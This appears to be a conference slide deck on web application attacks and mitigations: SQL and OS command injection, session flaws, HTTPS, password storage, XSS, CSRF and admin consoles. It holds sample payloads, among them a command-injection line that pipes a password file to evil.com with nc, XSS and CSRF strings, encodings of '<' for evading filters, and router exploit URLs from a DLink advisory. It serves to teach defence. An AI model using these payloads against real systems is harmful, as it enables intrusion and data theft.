Attacking Web Applications

Attacking Web Applications

Sasha Goldshtein CTO, Sela Group blog.sashag.net

@goldshtn

Sasha Goldshtein @goldshtn

Every web developer must be aware of the most common web attacks, risks, and mitigations. Don’t fly blind.

Sasha Goldshtein @goldshtn

Typical Risks §  Exposure of user information

-  Passwords, emails, identity theft §  Direct financial gain

-  Credit card details §  Creating a botnet

-  Using servers/user systems for malicious activity §  Denial of service

§  Some serious damage™ -  Considering that more and more embedded systems serve stuff over HTTP

Sasha Goldshtein @goldshtn

Are They Really After Me? 1.  They could be, if you’re important. 2.  They are after your users. 3.  They are after your servers. 4.  They found you randomly on the web.

Sasha Goldshtein @goldshtn

OWASP Top Ten 1.  Injection 2.  Broken auth and session management 3.  Cross-site scripting 4.  Insecure direct object references 5.  Security misconfiguration 6.  Sensitive data exposure 7.  Missing function level access control 8.  Cross-site request forgery 9.  Using vulnerable components 10. Unvalidated redirects and forwards

Sasha Goldshtein @goldshtn

SQL Injection

§  Suppose the user request parameter is …  '  or  '1'='1  

§  Then the query we execute is … select  *  from  users  where  (name=''  or  '1'='1')  and  (password='whatever')  

db.ExecuteReader("select  *  from  users  where  (name='"    +  Request["user"]  +  "')  and  (password='"  +  Request["password"]  +  "')");

Sasha Goldshtein @goldshtn

Sasha Goldshtein @goldshtn

OS Command Injection §  Suppose we’re too lazy to perform DNS lookup, so we resort to the following:

§  Suppose the hostname parameter is …  foo  ||  cat  /etc/password  |  nc  evil.com §  Then we end up sending the password file to evil.com!

§  Most recent noisy exploit 10/9/2013 in DLink DIR-505 router firmware:  request=ping_test&ip_addr=127.0.0.1;  /usr/sbin/telnetd;  

system("nslookup  "  +  Request["hostname"]);

Sasha Goldshtein @goldshtn

DEMO SQL injection and OS command injection

Sasha Goldshtein @goldshtn

Mitigating Injections §  DO NOT trust user input §  DO NOT run code provided by the user §  DO NOT use blacklists for validation

§  DO use SQL query parameters (?, @param, :param) §  DO use whitelists and regexes for validation §  DO fuzz your code with invalid input

Sasha Goldshtein @goldshtn

Sessions and Cookies §  Most web applications today store sensitive user data in cookies §  At the very least, the session identifier is stored in a cookie

-  Cookies are tasty

§  Don’t store anything else in cookies and don’t trust them -  What if the client sends you:

Cookie:  username=dave;permissions=admin  

Sasha Goldshtein @goldshtn

DEMO Exploiting vulnerable session information

Sasha Goldshtein @goldshtn

Sessions and URLs •  DO NOT embed session id in URLs •  DO NOT trust cookie contents •  DO NOT trust URL query string contents

http://example.com/delete_account.php?account_name=sasha •  DO NOT use predictable session ids  http://example.com/cart.php?sess=127

•  DO use a Secure, HttpOnly cookie for session id •  DO use long, random session ids

Sasha Goldshtein @goldshtn

HTTP and HTTPS §  Surprisingly many web applications still use HTTP to transmit sensitive information §  Your HTTP traffic is freely available to:

-  Your Starbucks barista -  Your family members -  Your ISP -  Your boss

§  As a developer, you are responsible for your users’ sensitive information

Sasha Goldshtein @goldshtn

DEMO Manipulating HTTP traffic

Sasha Goldshtein @goldshtn

You Have Been Pineappled §  WiFi Pineapple is a mobile pentesting device

-  ARM SOC, RAM, internal storage, USB storage, WiFi, Ethernet, 3G modem support

§  Karma mode

Is this the KatieHome WiFi?

Is this the Starbucks WiFi?

Is this the JFKAirport WiFi?

Sure

Sasha Goldshtein @goldshtn

DroidSheep and zANTI

Sasha Goldshtein @goldshtn

Use HTTPS Correctly §  DO NOT send sensitive information over HTTP §  DO NOT display login pages over HTTP §  DO NOT load HTTP frames/scripts/images in an otherwise HTTPS page

§  DO insist on pure HTTPS for sensitive pages §  DO use Secure cookies for sensitive data (reminder)

And, as a user: §  DO NOT connect to unsecured Wi-Fi networks (like “Free WiFi” or “Fluent”) §  DO use a VPN in insecure environments

Sasha Goldshtein @goldshtn

Storing Sensitive Information §  DO NOT store anything you don’t have to store

-  Least responsibility principle

§  DO comply with regulation for secure storage -  E.g. if you store credit card details, you’re in for some pain

Sasha Goldshtein @goldshtn

DEMO Rainbow tables and weak passwords

Sasha Goldshtein @goldshtn

http://haveibeenpwned.com by Troy Hunt

Sasha Goldshtein @goldshtn

“Password” unseated by “123456” on SplashData’s annual “Worst Passwords” list 1.  123456 2.  password 3.  12345678 4.  qwerty 5.  abc123 6.  123456789 7.  111111 8.  1234567 9.  iloveyou 10. adobe123 11. 123123 12. admin 13. 1234567890

14. letmein 15. photoshop 16. 1234 17. monkey 18. shadow 19. sunshine 20. 12345 21. password1 22. princess 23. azerty 24. trustno1 25. 000000

Sasha Goldshtein @goldshtn

Password Storage §  DO NOT store passwords in clear text §  DO NOT store encrypted passwords

§  DO hash and salt passwords §  DO reject weak passwords during signup §  DO consider using OAuth

§  DISCUSS which hash function to use -  Super-slow (bcrypt) – subject to DOS -  Super-fast (MD5, SHA1) – subject to cracking

Sasha Goldshtein @goldshtn

Cross-Site Scripting (XSS) •  Injecting JavaScript into pages viewed by other users

– Cookie stealing, information disclosure – DOM manipulation, tricking the user to like Facebook pages, phishing – DDOS, bitcoin mining J

•  Temporary XSS

 http://searchengine.com/?q=<script>alert(1);</script>

•  Persistent XSS – You provide data to the server which is then permanently displayed when users visit

Sasha Goldshtein @goldshtn

DEMO Persistent and temporary XSS

Sasha Goldshtein @goldshtn

Cross-Site Request Forgery (CSRF) §  Use the fact that the user is already authenticated to a website to generate requests on his

behalf  <img  src="http://forum.com/delete_profile.php?confirmed=True"  />  

§  Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account -  “I used to know what you watched on YouTube”

Sasha Goldshtein @goldshtn

DEMO Persistent and temporary XSS

Sasha Goldshtein @goldshtn

70 Ways To Encode < <  

%3C  

&lt  

&lt;  

&LT  

&LT;  

&#60  

&#060  

&#0060  

&#00060  

&#000060  

&#0000060  

&#60;  

&#060;  

&#0060;  

&#00060;  

&#000060;  

&#0000060;  

&#x3c  

&#x03c  

&#x003c  

&#x0003c  

&#x00003c  

&#x000003c  

&#x3c;  

&#x03c;  

&#x003c;  

&#x0003c;  

&#x00003c;  

&#x000003c;  

&#X3c  

&#X03c  

&#X003c  

&#X0003c  

&#X00003c  

&#X000003c  

&#X3c;  

&#X03c;  

&#X003c;  

&#X0003c;  

&#X00003c;  

&#X000003c;  

&#x3C  

&#x03C  

&#x003C  

&#x0003C  

&#x00003C  

&#x000003C  

&#x3C;  

&#x03C;  

&#x003C;  

&#x0003C;  

&#x00003C;  

&#x000003C;  

&#X3C  

&#X03C  

&#X003C  

&#X0003C  

&#X00003C  

&#X000003C  

&#X3C;  

&#X03C;  

&#X003C;  

&#X0003C;  

&#X00003C;  

&#X000003C;  

\x3c  

\x3C  

\u003c  

\u003C  

Sasha Goldshtein @goldshtn

Mitigating XSS and CSRF §  DO NOT trust user input (déjà vu?) §  DO NOT allow GETs to modify state §  DO NOT rely on blacklists

§  DO escape and sanitize HTML provided by the user §  DO use whitelists or a non-HTML format like Markdown §  DO generate anti-CSRF tokens and validate them §  DO validate Referer headers

Sasha Goldshtein @goldshtn

Admin Consoles §  DO NOT leave admin consoles exposed to the Internet §  DO NOT provide “extra helpful” troubleshooting info

§  DO restrict admin consoles to local network only §  DO whitelist IP addresses if absolutely necessary

Some auth cookies… yum!

Sasha Goldshtein @goldshtn

DEMO Locating admin consoles through Google

Sasha Goldshtein @goldshtn

DLink DIR-615 and DIR-300 Security Advisory •  OS command injection

http://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1  

•  CSRF to change admin password and enable remote administration (Internet-facing) http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080  

•  Information disclosure

http://<IP>/DevInfo.txt  

•  Insecure password storage

$  cat  var/etc/httpasswd  

admin:admin  

Sasha Goldshtein @goldshtn

Summary & Call To Action §  Be aware of security risks and typical vulnerabilities §  Ensure your developers get up to date security training §  Learn how to use the mitigation and prevention tools in your Web framework §  Review code for security, not just correctness §  If your web app is secure, attackers will try other routes

Thank You! Sasha Goldshtein CTO, Sela Group blog.sashag.net

@goldshtn